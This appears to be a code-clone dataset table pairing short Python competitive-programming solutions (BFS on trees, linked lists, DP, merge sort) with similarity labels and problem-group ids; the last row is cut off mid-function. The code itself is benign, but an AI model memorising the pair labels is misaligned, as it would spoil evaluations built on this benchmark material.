code1
stringlengths 16
24.5k
| code2
stringlengths 16
24.5k
| similar
int64 0
1
| pair_id
int64 2
181,637B
⌀ | question_pair_id
float64 3.71M
180,628B
⌀ | code1_group
int64 1
299
| code2_group
int64 1
299
|
|---|---|---|---|---|---|---|
try:
D,T,S = [int(e) for e in input().split()]
except:
print('Error')
else:
tmp = T * S
if D > tmp:
print('No')
else:
print('Yes')
|
N, K = map(int, input().split())
A = list(map(int, input().split()))
def check(lst):
for i in range(N):
if lst[i] != N:
return False
return True
def move(lst):
tmp = [0] * (N + 1)
for i in range(N):
a = lst[i]
left = max(0, i - a)
right = min(N, i + a + 1)
tmp[left] += 1
tmp[right] -= 1
for i in range(N):
tmp[i + 1] += tmp[i]
return tmp
for i in range(K):
A = move(A)
if check(A):
# print (i)
break
print (*A[:-1])
| 0 | null | 9,535,711,345,354 | 81 | 132 |
def getN():
return int(input())
def getNM():
return map(int, input().split())
def getList():
return list(map(int, input().split()))
def getArray(intn):
return [int(input()) for i in range(intn)]
def input():
return sys.stdin.readline().rstrip()
def rand_N(ran1, ran2):
return random.randint(ran1, ran2)
def rand_List(ran1, ran2, rantime):
return [random.randint(ran1, ran2) for i in range(rantime)]
def rand_ints_nodup(ran1, ran2, rantime):
ns = []
while len(ns) < rantime:
n = random.randint(ran1, ran2)
if not n in ns:
ns.append(n)
return sorted(ns)
def rand_query(ran1, ran2, rantime):
r_query = []
while len(r_query) < rantime:
n_q = rand_ints_nodup(ran1, ran2, 2)
if not n_q in r_query:
r_query.append(n_q)
return sorted(r_query)
from collections import defaultdict, deque, Counter
from sys import exit
from decimal import *
import heapq
import math
from fractions import gcd
import random
import string
import copy
from itertools import combinations, permutations, product
from operator import mul, itemgetter
from functools import reduce
from bisect import bisect_left, bisect_right
import sys
sys.setrecursionlimit(1000000000)
mod = 10 ** 9 + 7
#############
# Main Code #
#############
N, U, V = getNM()
U -= 1
V -= 1
# 高橋君はできるだけ遅くゲームが終了するように移動し、青木君はできるだけ早くゲームが終了するように移動します。
# 高橋君は逃げ、青木君は追いかける
dist = [[] for i in range(N)]
for i in range(N - 1):
a, b = getNM()
dist[a - 1].append(b - 1)
dist[b - 1].append(a - 1)
taka_d = [-1] * N
aoki_d = [-1] * N
taka_d[U] = 0
pos = deque([[U, taka_d[U]]])
while len(pos) > 0:
u, dis = pos.popleft()
for i in dist[u]:
if taka_d[i] == -1:
taka_d[i] = dis + 1
pos.append([i, taka_d[i]])
aoki_d[V] = 0
pos = deque([[V, aoki_d[V]]])
while len(pos) > 0:
u, dis = pos.popleft()
for i in dist[u]:
if aoki_d[i] == -1:
aoki_d[i] = dis + 1
pos.append([i, aoki_d[i]])
ans = 0
for a, b in zip(taka_d, aoki_d):
if a < b:
ans = max(ans, b - 1)
print(ans)
|
n, r0, g0 = map(int, input().split())
edges = [tuple(map(int, input().split())) for _ in range(n-1)]
connects = [[] for i in range(n+1)]
for e in edges:
connects[e[0]].append(e[1])
connects[e[1]].append(e[0])
rL, gL = [-1]*(n+1), [-1]*(n+1)
rL[r0], gL[g0] = 0, 0
from collections import deque
rQ, gQ = deque([r0]), deque([g0])
for L, Q in [(rL, rQ), (gL, gQ)]:
while Q:
node = Q.popleft()
for ni in connects[node]:
if L[ni] == -1:
L[ni] = L[node] + 1
### print((node, L[node]), (ni, L[ni]))
Q.append(ni)
print(max(gL[i] for i in range(1, n+1) if rL[i] < gL[i]) - 1)
| 1 | 117,487,969,149,730 | null | 259 | 259 |
import sys
class Node:
def __init__(self, x):
self.x = x
def set_prev(self, prev):
self.prev = prev
def set_next(self, next):
self.next = next
class DoublelyLinkedList:
def __init__(self):
self.nil = Node(None)
self.nil.set_next(self.nil)
self.nil.set_prev(self.nil)
def insert(self, x):
new_elem = Node(x)
new_elem.set_next(self.nil.next)
new_elem.set_prev(self.nil)
self.nil.next.set_prev(new_elem)
self.nil.set_next(new_elem)
def list_search(self, x):
cur = self.nil.next
while cur != self.nil and cur.x != x:
cur = cur.next
return cur
def _delete(self, node):
node.prev.set_next(node.next)
node.next.set_prev(node.prev)
def delete_first(self):
self._delete(self.nil.next)
def delete_last(self):
self._delete(self.nil.prev)
def delete(self, x):
del_node = self.list_search(x)
if del_node.x is not None:
self._delete(del_node)
def main():
d_linked_list = DoublelyLinkedList()
for i in sys.stdin:
if 'insert' in i:
x = i[7:-1]
d_linked_list.insert(x)
elif 'deleteFirst' in i:
d_linked_list.delete_first()
elif 'deleteLast' in i:
d_linked_list.delete_last()
elif 'delete' in i:
x = i[7:-1]
d_linked_list.delete(x)
else:
pass
results = []
cur = d_linked_list.nil.next
while cur.x is not None:
results.append(cur.x)
cur = cur.next
print(*results)
if __name__ == "__main__":
main()
|
from collections import deque
n = int(input())
d = deque()
for i in range(n):
c = input()
if ' ' in c:
c, num = c.split()
if c == 'insert':
d.appendleft(num)
elif c == 'delete' and num in d:
d.remove(num)
else:
if c == 'deleteFirst' and d:
d.popleft()
elif c == 'deleteLast' and d:
d.pop()
print(' '.join(d))
| 1 | 50,458,177,768 | null | 20 | 20 |
import sys
import itertools
import numpy as np
read = sys.stdin.buffer.read
readline = sys.stdin.buffer.readline
readlines = sys.stdin.buffer.readlines
# n = map(int, readline().split())
n = int(readline())
ls = []
rs = []
total = 0
S = list(map(lambda x: x.strip().decode(), readlines()))
for i in range(n):
s = S[i]
b = 0
h = 0
for c in s:
if c == '(':
h += 1
else:
h -= 1
b = min(b, h)
if h >= 0:
ls.append((b, h))
else:
rs.append((b - h, -h))
total += h
if total != 0:
print("No")
exit()
ls = sorted(ls, reverse=True)
rs = sorted(rs, reverse=True)
h = 0
OK = True
for p in ls:
b = h + p[0]
h += p[1]
if b < 0:
OK = False
h = 0
for p in rs:
b = h + p[0]
h += p[1]
if b < 0 or h < 0:
OK = False
if not OK:
print("No")
else:
print("Yes")
|
n = int(input())
a = []
b = []
for i in range(n):
s = input()
x = 0
y = 0
for c in s:
if c == '(':
y += 1
else:
if y >= 1:
y -= 1
else:
x += 1
if x < y: a.append([x, abs(x-y)])
else: b.append([y, abs(x-y)])
def calc(a):
ret = 0
for x, y in sorted(a):
if ret < x: return -1
ret += y
return ret
res1 = calc(a)
res2 = calc(b)
print("Yes" if res1 >= 0 and res1 == res2 else "No")
| 1 | 23,748,528,969,440 | null | 152 | 152 |
S = input()
if S == "hi" * (len(S)//2):
print("Yes")
else:
print("No")
|
# https://atcoder.jp/contests/abc164/tasks/abc164_d
import sys
input = sys.stdin.readline
S = input().rstrip()
res = 0
x = 0
p = 1
L = len(S)
MOD = 2019
reminder = [0]*2019
reminder[0] = 1
for s in reversed(S):
""" 累積和 """
x = (int(s)*p + x)%MOD
p = p*10%MOD
res += reminder[x]
reminder[x] += 1
print(res)
| 0 | null | 41,901,260,607,418 | 199 | 166 |
import math
A, B, N = map(int, input().split())
x = 0
if N < B:
x = N
else:
x = B - 1
print(math.floor(A * x / B) - A * math.floor(x / B))
|
a, b, n = map(int, input().split())
x = (n//b)*b - 1
if x == -1:
x = n
ans = a*x//b - a*(x//b)
print(ans)
| 1 | 28,336,198,489,930 | null | 161 | 161 |
while True:
a, b, c = map(int, raw_input().split())
if (a == -1) and (b == -1) and (c == -1):
break
if (a == -1) or (b == -1):
print "F"
elif (a + b) >= 80:
print "A"
elif (a + b) >= 65:
print "B"
elif (a + b) >= 50:
print "C"
elif (a + b) < 30:
print "F"
elif c >= 50:
print "C"
else:
print "D"
|
A,B,M = map(int,input().split())
a = list(map(int,input().split()))
b = list(map(int,input().split()))
x = []
y = []
c = []
for _ in range(M):
X,Y,Z = map(int,input().split())
x.append(X)
y.append(Y)
c.append(Z)
mini = min(a) + min(b)
for i in range(M):
rei = a[x[i]-1]
den = b[y[i]-1]
coop = c[i]
if rei + den - coop < mini:
mini = rei + den - coop
print(mini)
| 0 | null | 27,569,864,961,758 | 57 | 200 |
n, m = map(int, input().split())
a = []
b = []
for i in range(n):
ai = list(map(int, input().split()))
a.append(ai)
for i in range(m):
bi = int(input())
b.append(bi)
for i in range(n):
ci = 0
for j in range(m):
ci += a[i][j] * b[j]
print(ci)
|
def main():
d, t, s = map(int, input().split())
print('Yes' if t*s >= d else 'No')
if __name__ == '__main__':
main()
| 0 | null | 2,387,918,142,842 | 56 | 81 |
#coding:utf-8
#1_9_A 2015.4.12
w = input().lower()
c = 0
while True:
t = input()
if 'END_OF_TEXT' in t:
break
c += t.lower().split().count(w)
print(c)
|
import sys
sys.setrecursionlimit(10 ** 7)
def resolve():
N, M,K = map(int, input().split())
frind = [[] for _ in range(N)]
for _ in range(M):
a, b = map(lambda x:int(x)-1, input().split())
frind[a].append(b)
frind[b].append(a)
block = [[] for _ in range(N)]
for _ in range(K):
a, b = map(lambda x: int(x) - 1, input().split())
block[a].append(b)
block[b].append(a)
D = {}
parent = [-1]*N
visited = [False]*N
for root in range(N):
if visited[root]:
continue
D[root] = set([root])
stack = [root]
while stack:
n = stack.pop()
visited[n] = True
parent[n] = root
for to in frind[n]:
if visited[to]:
continue
D[root].add(to)
stack.append(to)
ans = [0]*N
for i in range(N):
gr = D[parent[i]]
tmp = len(gr)-len(frind[i]) - 1
for bl in block[i]:
if bl in gr:
tmp -= 1
ans[i] = tmp
print(*ans)
if __name__ == "__main__":
resolve()
| 0 | null | 31,522,649,680,820 | 65 | 209 |
N, M = map(int,input().split())
for i in range(1, M+1):
a = N+1 - i
if N % 2 == 0 and i > (N // 4):
a -= 1
print(i, a)
|
# input
N, M = map(int, input().split())
# process
ans = []
t = 1
for _ in range(M//2):
ans.append((t, M-t+1))
t += 1
t = M+1
for _ in range(-(-M//2)):
ans.append((t, M*3+2-t))
t += 1
# output
[print(a, b) for a, b in ans]
| 1 | 28,685,450,567,962 | null | 162 | 162 |
n = input()
dict_ = set()
for _ in xrange(n):
cmd, str_ = raw_input().split()
if cmd == "insert":
dict_.add(str_)
elif cmd == "find":
if str_ in dict_:
print "yes"
else:
print "no"
|
import bisect, collections, copy, heapq, itertools, math, string
import sys
def I(): return int(sys.stdin.readline().rstrip())
def MI(): return map(int, sys.stdin.readline().rstrip().split())
def LI(): return list(map(int, sys.stdin.readline().rstrip().split()))
def S(): return sys.stdin.readline().rstrip()
def LS(): return list(sys.stdin.readline().rstrip().split())
n = I()
M = 1046527
NIL = -1
H = [None] * M
com = []
ch = []
for i in range(n):
com_, ch_ = input().split()
com.append(com_)
ch.append(ch_)
table = str.maketrans({
'A':'1',
'C':'2',
'G':'3',
'T':'4',
})
def getChar(ch):
return int(ch.translate(table))
def h1(key):
return key % M
def h2(key):
return 1 + (key % (M - 1))
def insert(ch):
key = getChar(ch)
i = 0
while True:
h = (h1(key) + i * h2(key)) % M
if H[h] is None:
H[h] = ch
break
else:
i += 1
def find(ch):
key = getChar(ch)
i = 0
while True:
h = (h1(key) + i * h2(key)) % M
if H[h] == ch:
return 1
elif H[h] is None:
return 0
else:
i += 1
for i in range(n):
if com[i][0] == 'i':
insert(ch[i])
else:
if find(ch[i]):
print('yes')
else:
print('no')
| 1 | 79,568,411,920 | null | 23 | 23 |
n=int(input())
ki=[[] for _ in range(n)]
hen=[tuple(map(int,input().split())) for i in range(n-1)]
color={(hen[i][0]-1,hen[i][1]-1):0 for i in range(n-1)}
for i in range(n-1):
a,b=hen[i][0],hen[i][1]
ki[a-1].append(b-1)
ki[b-1].append(a-1)
mcol=0
ne=0
for i in range(n):
if len(ki[i])>mcol:
mcol=len(ki[i])
ne=i
print(mcol)
from collections import deque
d=deque()
d.append(ne)
visited=[False]*n
visited[ne]=True
col=[0]*n
while d:
g=d.popleft()
for i in ki[g]:
if visited[i]:
continue
d.append(i)
visited[i]=True
if g>i:
x,y=i,g
else:
x,y=g,i
color[(x,y)]=col[g]%mcol+1
col[g],col[i]=color[(x,y)],color[(x,y)]
for i in hen:
print(color[(i[0]-1,i[1]-1)])
|
n = list(map(int, input().split()))
print('Yes' if sum(n) % 9 == 0 else 'No')
| 0 | null | 70,524,960,719,292 | 272 | 87 |
n = int(input())
S = list(map(int, input().split()))
c = 0
def merge(A, left, mid, right):
inf = float('inf')
L = A[left:mid] + [inf]
R = A[mid:right] + [inf]
i = 0
j = 0
global c
for k in range(left, right):
if L[i] <= R[j]:
A[k] = L[i]
i += 1
c += 1
else:
A[k] = R[j]
j += 1
c += 1
def mergesort(A, left, right):
if left+1 < right:
mid = (left + right)//2
mergesort(A, left, mid)
mergesort(A, mid, right)
merge(A, left, mid, right)
mergesort(S, 0, n)
print(" ".join(map(str, S)))
print(c)
|
n=int(input())
A=tuple(map(int, input().split()))
cnt=0
def merge_sort(A,cnt):
m=len(A)
if m == 1:
return A,cnt
else:
mid=(m+1)//2
A1=tuple(A[:mid])
A2=tuple(A[mid:])
A1,cnt=merge_sort(A1,cnt)
A2,cnt=merge_sort(A2,cnt)
n1=len(A1)
n2=len(A2)
i1=0
i2=0
ans=[0]*(n1+n2)
j=0
while j < n1+n2:
if i1 == n1:
ans[j]=A2[i2]
i2+=1
cnt+=1
elif i2 == n2:
ans[j]=A1[i1]
i1+=1
cnt+=1
elif A1[i1] < A2[i2]:
ans[j]=A1[i1]
i1+=1
cnt+=1
else:
ans[j]=A2[i2]
i2+=1
cnt+=1
j += 1
return ans,cnt
sorted_A,cnt=merge_sort(A,0)
print(*sorted_A)
print(cnt)
| 1 | 111,453,428,670 | null | 26 | 26 |
s,t = map(str, input().split())
a,b = map(int, input().split())
u = input()
print(a-1 if s==u else a, b if s==u else b-1)
|
s,t=list(input().split())
a,b=list(map(int,input().split()))
u=input()
if u==s:
print(str(a-1)+" "+str(b))
else:
print(str(a)+" "+str(b-1))
| 1 | 72,233,997,908,380 | null | 220 | 220 |
s=input()
count=0
for i in s:
count+=1
print('x'*count)
|
import math
h,w = map(int,input().split())
ans = 0
if h == 1 or w ==1 :
ans += 1
else:
#奇数行目+偶数行目
ans += math.ceil(h/2)*math.ceil(w/2)+(h//2)*(w//2)
print(ans)
| 0 | null | 61,517,167,421,992 | 221 | 196 |
n=int(input())
s=input()
ans=0
for i in range(10):
idx1=s.find(str(i))
for j in range(10):
idx2=s.find(str(j),idx1+1,n)
for k in range(10):
idx3=s.find(str(k),idx2+1,n)
if idx1==-1 or idx2==-1 or idx3==-1:
continue
else:
ans+=1
print(ans)
|
N = int(input())
S = input()
count = 0
for p in range(10):
s = S.find(str(p))
if s == -1:
continue
for q in range(10):
t = S.find(str(q), s + 1)
if t == -1:
continue
for r in range(10):
u = S.find(str(r), t + 1)
if u != -1:
count += 1
print(count)
| 1 | 128,832,435,769,580 | null | 267 | 267 |
a = input().split()
a.sort()
a = ' '.join(a)
print(a)
|
from collections import deque
N, M = map(int, input().split())
g = [[] for i in range(N)]
for i in range(M):
A, B = map(int, input().split())
g[A-1].append(B)
g[B-1].append(A)
ans = [-1] * N
ans[0] = 0
d = deque([1])
while len(d) != 0:
now = d[0]
d.popleft()
for i in g[now-1]:
if ans[i-1] != -1:
continue
ans[i-1] = now
d.append(i)
if -1 in ans:
print('No')
else:
print('Yes')
for i in ans[1:]:
print(i)
| 0 | null | 10,422,497,983,588 | 40 | 145 |
from collections import Counter
def read():
N, K = list(map(int, input().strip().split()))
return N, K
def n_gcd(k, N, K, cache, MOD=10**9+7):
if cache[k] != -1:
return cache[k]
n = pow(K // k, N, MOD)
for j in range(2*k, K+1, k):
n -= n_gcd(j, N, K, cache)
n %= MOD
cache[k] = n
return n
def solve(N, K, MOD=10**9+7):
cache = [-1 for k in range(K+1)]
ans = 0
for k in range(K, 0, -1):
ans += n_gcd(k, N, K, cache) * k
ans %= MOD
return ans
if __name__ == '__main__':
inputs = read()
print("{}".format(solve(*inputs)))
|
n,k=map(int,input().split())
a=list(map(int,input().split()))
dp=[0]
mp={0:1}
ans=0
for t in range(n):
i=a[t]
if t>=k-1:
mp[dp[-k]]-=1
num=(dp[-1]+i-1)%k
if num in mp.keys():
ans += mp[num]
mp[num] += 1
else:
mp[num] = 1
dp.append(num)
print(ans)
| 0 | null | 87,310,868,324,260 | 176 | 273 |
N = int(input())
C = 'ACL'
print(C*N)
|
K=int(input())
for i in range(K):
print("ACL",end="")
print("")
| 1 | 2,175,337,086,240 | null | 69 | 69 |
h,w,k=map(int, input().split())
s=[list(input()) for _ in range(h)]
ans=[[0]*w for i in range(h)]
cnt=1
for i in range(h):
for j in range(w):
if s[i][j]=="#":
ans[i][j]=cnt
cnt+=1
for i in range(h):
for j in range(w):
if ans[i][j]==0:
if j!=0:
ans[i][j]=ans[i][j-1]
for i in range(h):
for j in range(w-1, -1, -1):
if ans[i][j]==0:
if j!=(w-1):
ans[i][j]=ans[i][j+1]
# for i in range(h):
# print(*ans[i])
# print()
for i in range(h):
for j in range(w):
if ans[i][j]==0:
if i!=0:
ans[i][j]=ans[i-1][j]
for i in range(h-1, -1, -1):
for j in range(w):
if ans[i][j]==0:
if i!=(h-1):
ans[i][j]=ans[i+1][j]
for i in range(h):
print(*ans[i])
|
H, W, K = map(int, input().split())
grid = 'x' * (W + 2)
for _ in range(H):
grid += 'x' + input() + 'x'
grid += 'x' * (W + 2)
N = len(grid)
strb = [i for i in range(N) if grid[i] == '#']
G = [0] * N
for i, s in enumerate(strb, 1):
q = [s]
while q:
x = q.pop()
if G[x] != 0:
continue
G[x] = i
for dx in [1, -1]:
y = x + dx
if grid[y] == '.' and G[y] == 0:
q.append(y)
for i in range(N - 1, -1, -1):
if G[i] == 0 and i + W + 2 < N:
G[i] = G[i + W + 2]
for i in range(N):
if G[i] == 0 and i - W - 2 < N:
G[i] = G[i - W - 2]
j = 0
for i in range(H):
print(' '.join(str(x) for x in G[j + W + 3:j + 2 * W + 3]))
j += W + 2
| 1 | 143,267,376,772,100 | null | 277 | 277 |
S = input()
count = 0
if S[2] == S[3]:
count+=1
if S[4] == S[5]:
count+=1
if count == 2:
print('Yes')
else:
print('No')
|
a,b,c,d,e,f=input()
if c==d and e==f:
print('Yes')
else:
print('No')
| 1 | 42,006,120,185,260 | null | 184 | 184 |
n,m = map(int,input().split())
hi = [0] + list(map(int,input().split()))
judge = [0]+[1]*(n)
for _ in range(m):
a,b = map(int, input().split())
if hi[a] >= hi[b]:
judge[b] = 0
if hi[a] <= hi[b]:
judge[a] = 0
print(sum(judge))
|
s = input()
p = input()
p_len = len(p)
if p in s:
print("Yes")
else:
for i in range(p_len):
if (p[:i] == s[-i:]) and (p[i:] == s[:p_len - i]):
print("Yes")
break
else:
print("No")
| 0 | null | 13,316,283,048,420 | 155 | 64 |
N=int(input())
A=list(map(int,input().split()))
m=1000
for i in range(N-1):
s=0
if A[i]<A[i+1]:s=m//A[i]
m+=(A[i+1]-A[i])*s
print(m)
|
from operator import itemgetter
from bisect import bisect_right
n, d, a = map(int, input().split())
monster = [tuple(map(int, input().split())) for _ in range(n)]
monster.sort(key=itemgetter(0))
xx = [xi for xi, hi in monster]
ans = 0
imos = [0] * (n + 1)
for i, (xi, hi) in enumerate(monster):
hi -= imos[i]
if hi > 0:
c = (hi + a - 1) // a
ans += c
idx = bisect_right(xx, xi + 2 * d)
imos[i] += c * a
imos[idx] -= c * a
# update imos
imos[i + 1] += imos[i]
print(ans)
| 0 | null | 44,923,624,339,422 | 103 | 230 |
m = input("")
s = m.split(".")
sum = 0
if len(s) == 1 and int(m)>=0 and int(m)<10**200000:
for i in m :
sum = sum+int(i)
if sum % 9 == 0:
print("Yes")
else:
print("No")
|
h,a = map(int,input().split())
print(-1*(h//(-1*a)))
| 0 | null | 40,826,583,805,862 | 87 | 225 |
# coding: utf-8
def solve(*args: str) -> str:
n = int(args[0])
A = list(map(int, args[1].split()))
rem = sum(A)
cur = 1
ret = 0
for a in A:
cur = min(rem, cur)
rem -= a
ret += cur
cur = 2*(cur-a)
if cur < 0:
ret = -1
break
return str(ret)
if __name__ == "__main__":
print(solve(*(open(0).read().splitlines())))
|
N = int(input())
A_leaf = list(map(int, input().split()))
if N == 0:
print(1 if A_leaf[0] == 1 else -1)
exit()
s = [0]*(N+2)
for i in range(1, N+2):
s[i] = s[i-1] + A_leaf[i-1]
node = [1]*(N+1)
for i in range(1, N+1):
node[i] = min((node[i-1] - A_leaf[i-1])*2, s[N+1]-s[i])
if node[i] < A_leaf[i]:
print(-1)
exit()
else:
print(sum(node))
| 1 | 18,866,833,039,922 | null | 141 | 141 |
def main():
N, K = map(int, input().split())
ans = 0
while N > 0:
N //= K
ans += 1
print(ans)
if __name__ == '__main__':
main()
|
#https://atcoder.jp/contests/abc156/tasks/abc156_b
N,K = map(int,input().split())
q, mod = divmod(N,K)
mod_list = [mod]
while True:
q , mod =divmod(q,K)
mod_list.append(mod)
if q <=0 :
break
n_ary = int("".join(map(str,mod_list[::-1])))
print(len(str(n_ary)))
| 1 | 64,603,498,218,310 | null | 212 | 212 |
n = int(input())
for i in range(1, 10):
tmp = (n / i)
if tmp.is_integer() and 1<=tmp and tmp <=9:
print("Yes")
exit()
print("No")
|
N = int(input())
ans = False
for i in range(1,10):
if N % i == 0 and N / i <= 9:
ans = True
if ans:
print("Yes")
else:
print("No")
| 1 | 160,054,314,212,298 | null | 287 | 287 |
N=int(input())
A=list(map(int,input().split()))
cnt=[0 for _ in range(100001)]
for i in range(N):
cnt[A[i]]+=1
ans=sum(A)
Q=int(input())
for _ in range(Q):
B,C=map(int,input().split())
cnt[C]+=cnt[B]
ans+=(C-B)*cnt[B]
cnt[B]=0
print(ans)
|
n=int(input())
a=list(map(int,input().split()))
cnt=[0]*(10**5+1)
for i in a:
cnt[i]+=1
xxx=sum(a)
q=int(input())
for i in range(q):
l,r=map(int,input().split())
pin=cnt[l]
cnt[r]+=pin
cnt[l]=0
xxx+=(r-l)*pin
print(xxx)
| 1 | 12,198,929,761,414 | null | 122 | 122 |
def check(k, W, p):
s = 0
count = 1
for w in W:
if s + w > p:
count += 1
s = 0
s += w
return count <= k
n, k = map(int, input().split())
W = [int(input()) for _ in range(n)]
right = sum(W)
left = max(right // k, max(W)) - 1
while right - left > 1:
p = (left + right) // 2
if check(k, W, p):
right = p
else:
left = p
print(right)
|
import sys
sys.setrecursionlimit(1000000000)
input = sys.stdin.readline
N = int(input())
graph = [[] for _ in range(N)]
ab = [list(map(lambda x:int(x)-1, input().split())) for _ in range(N-1)]
d = {}
for a, b in ab:
graph[a] += [b]
graph[b] += [a]
def dfs(u, pre, c):
color = 0
for v in graph[u]:
if v != pre:
color += 1
if color == c:
color += 1
d[(u, v)] = color
d[(v, u)] = color
dfs(v, u, color)
dfs(0, -1, -1)
s = set()
for a, b in ab:
s.add(d[(a, b)])
print(len(s))
for a, b in ab:
print(d[(a, b)])
| 0 | null | 67,955,451,011,548 | 24 | 272 |
while 1:
H, W = map(int ,raw_input().split())
if H == 0 and W == 0:
break
else:
print ('#'*W + '\n')*H
|
while True:
h,w = map(int, raw_input().split())
if h == w == 0:
break
print (("#" * w + "\n") * h)
| 1 | 773,482,272,138 | null | 49 | 49 |
from collections import deque
n = int(input())
dlist = deque()
for i in range(n):
code = input().split()
if code[0] == "insert":
dlist.insert(0,code[1])
if code[0] == "delete":
try:
dlist.remove(code[1])
except:
continue
if code[0] == "deleteFirst":
dlist.popleft()
if code[0] == "deleteLast":
dlist.pop()
print(*dlist,sep=" ")
|
import sys
for jk in sys.stdin:
L=jk.split(" ")
sum = int(L[0])+int(L[1])
digit = 1
while sum>=10:
sum = sum/10
digit = digit + 1
print digit
| 0 | null | 26,586,842,972 | 20 | 3 |
a = []
while True:
n = int(raw_input())
if n == 0:
break
a.append(n)
for i in range(len(a)):
print "Case " + str(i +1) + ": " + str(a[i])
|
import sys
def main():
i = 1
while True:
x = int(sys.stdin.readline())
if x != 0:
print("Case {0}: {1}".format(i, x))
i += 1
else:
break
return
if __name__ == '__main__':
main()
| 1 | 486,306,023,112 | null | 42 | 42 |
i = 1
while True:
n = input()
if n != 0:
print 'Case %s: %s' % (str(i), str(n))
i = i + 1
else:
break
|
n, m, l = [int(x) for x in input().split()]
a = [[int(x) for x in input().split()] for y in range(n)]
b = [[int(x) for x in input().split()] for y in range(m)]
c = [[0 for x in range(l)] for y in range(n)]
for i in range(n):
for j in range(l):
c[i][j] = sum([a[i][x] * b[x][j] for x in range(m)])
for i in c:
print(*i)
| 0 | null | 934,280,598,634 | 42 | 60 |
from itertools import accumulate
from bisect import bisect_right
N, M, K = map(int,input().split())
A = [0]+list(accumulate(map(int,input().split()), lambda x,y:x+y))
B = [0]+list(accumulate(map(int,input().split()), lambda x,y:x+y))
ans = 0
for i in range(N+1):
left = K-A[i]
if left < 0:
break
j = bisect_right(B, left)
ans = max(ans, i+j-1)
print(ans)
|
from itertools import accumulate
import bisect
n,m,k = map(int,input().split())
a = list(map(int,input().split()))
b = list(map(int,input().split()))
a_acc = [0] + list(accumulate(a))
b_acc = list(accumulate(b))
#print(a_acc)
#print(b_acc)
ans = 0
for an in range(n + 1):
rem = k - a_acc[an]
if rem < 0:
break
bn = bisect.bisect_right(b_acc, rem)
#print(bn)
ans = max(ans, an + bn)
print(ans)
| 1 | 10,785,230,752,768 | null | 117 | 117 |
clr = list(map(int, input().split()))
k = int(input())
for i in range(k):
if clr[2] <= clr[1] :
clr[2] *= 2
elif clr[1] <= clr[0]:
clr[1] *= 2
else:
break
if clr[2] > clr[1] > clr[0] :
print("Yes")
else:
print("No")
|
a, b, c = map(int, input().split())
k = int(input())
p = "No"
for i in range(k):
if not(a < b and b < c):
if b <= a:
b = b * 2
else:
c = c * 2
if a < b and b < c:
p = "Yes"
print(p)
| 1 | 6,934,770,434,012 | null | 101 | 101 |
n, m = map(int, input().split())
if n % 2 == 1:
a = [i for i in range(1, m+1)]
b = [i for i in reversed(range(m+1, 2*m+1))]
ab = [(x, y) for x, y in zip(a, b)]
else:
ab = []
x, y = (n-1)//2, n//2
if x % 2 != 0:
x, y = y, x
evenl = 1
evenr = x
while evenl < evenr:
ab.append((evenl, evenr))
evenl += 1
evenr -= 1
oddl = x+1
oddr = n-1
while oddl < oddr:
ab.append((oddl, oddr))
oddl += 1
oddr -= 1
ab = ab[:m]
for a, b in ab:
print(a, b)
|
#!/usr/bin/env python3
from collections import Counter
def main():
S = input()
N = len(S)
T = [0] * (N+1)
for i in range(N-1,-1,-1):
T[i] = (T[i+1] + int(S[i]) * pow(10,N-i,2019)) % 2019
l = Counter(T)
ans = 0
for v in l.values():
ans += v * (v-1) // 2
print(ans)
if __name__ == "__main__":
main()
| 0 | null | 29,679,445,647,364 | 162 | 166 |
MOD = 998244353
N, K = list(map(int, input().split()))
dp = [0] * (N+1)
dp[1] = 1
LR = []
for i in range(K):
l, r = list(map(int, input().split()))
LR.append([l, r])
for i in range(2, N+1):
dp[i] = dp[i-1]
for j in range(K):
l, r = LR[j]
dp[i] += dp[max(i-l, 0)] - dp[max(i-r-1, 0)]
dp[i] %= MOD
print((dp[N]-dp[N-1]) % MOD)
|
import sys
read = sys.stdin.read
readlines = sys.stdin.readlines
def main():
d, t, s = map(int, input().split())
if t * s >= d:
print('Yes')
else:
print('No')
if __name__ == '__main__':
main()
| 0 | null | 3,168,495,937,742 | 74 | 81 |
n, m, l = map(int, input().split())
A = [[int(num) for num in input().split()] for i in range(n)]
B = [[int(num) for num in input().split()] for i in range(m)]
B = list(zip(*B)) # 列を行に置き換える
C = [[0 for i in range(l)] for j in range(n)]
for i, A_line in enumerate(A):
for j, B_line in enumerate(B):
for A_element, B_element in zip(A_line, B_line):
C[i][j] += A_element * B_element
for line in C:
for i, element in enumerate(line):
if i == l - 1:
print(element)
else:
print(element, end=' ')
|
n_max, m_max, l_max = (int(x) for x in input().split())
a = []
b = []
c = []
for n in range(n_max):
a.append([int(x) for x in input().split()])
for m in range(m_max):
b.append([int(x) for x in input().split()])
for n in range(n_max):
c.append( [sum(a[n][m] * b[m][l] for m in range(m_max)) for l in range(l_max)])
for n in range(n_max):
print(" ".join(str(c[n][l]) for l in range(l_max)))
| 1 | 1,437,977,210,900 | null | 60 | 60 |
import os
import sys
from io import BytesIO, IOBase
BUFSIZE = 8192
class FastIO(IOBase):
newlines = 0
def __init__(self, file):
self._fd = file.fileno()
self.buffer = BytesIO()
self.writable = "x" in file.mode or "r" not in file.mode
self.write = self.buffer.write if self.writable else None
def read(self):
while True:
b = os.read(self._fd, max(os.fstat(self._fd).st_size, BUFSIZE))
if not b:
break
ptr = self.buffer.tell()
self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr)
self.newlines = 0
return self.buffer.read()
def readline(self):
while self.newlines == 0:
b = os.read(self._fd, max(os.fstat(self._fd).st_size, BUFSIZE))
self.newlines = b.count(b"\n") + (not b)
ptr = self.buffer.tell()
self.buffer.seek(0, 2), self.buffer.write(b), self.buffer.seek(ptr)
self.newlines -= 1
return self.buffer.readline()
def flush(self):
if self.writable:
os.write(self._fd, self.buffer.getvalue())
self.buffer.truncate(0), self.buffer.seek(0)
class IOWrapper(IOBase):
def __init__(self, file):
self.buffer = FastIO(file)
self.flush = self.buffer.flush
self.writable = self.buffer.writable
self.write = lambda s: self.buffer.write(s.encode("ascii"))
self.read = lambda: self.buffer.read().decode("ascii")
self.readline = lambda: self.buffer.readline().decode("ascii")
sys.stdin, sys.stdout = IOWrapper(sys.stdin), IOWrapper(sys.stdout)
input = lambda: sys.stdin.readline().rstrip("\r\n")
##########################################################
from collections import Counter
# c=sorted((i,int(val))for i,val in enumerate(input().split()))
import heapq
# c=sorted((i,int(val))for i,val in enumerate(input().split()))
# n = int(input())
# ls = list(map(int, input().split()))
#n=int(input())
#arr = list(map(int, input().split()))
#for _ in range(int(input())):
def find(x,root):
if root[x]==x:
return x
else:
return find(root[x],root)
def unioin(x,y):
uroot=find(u,root)
vroot=find(v,root)
if uroot!=vroot:
if rank[uroot]>rank[vroot]:
root[vroot]=root[uroot]
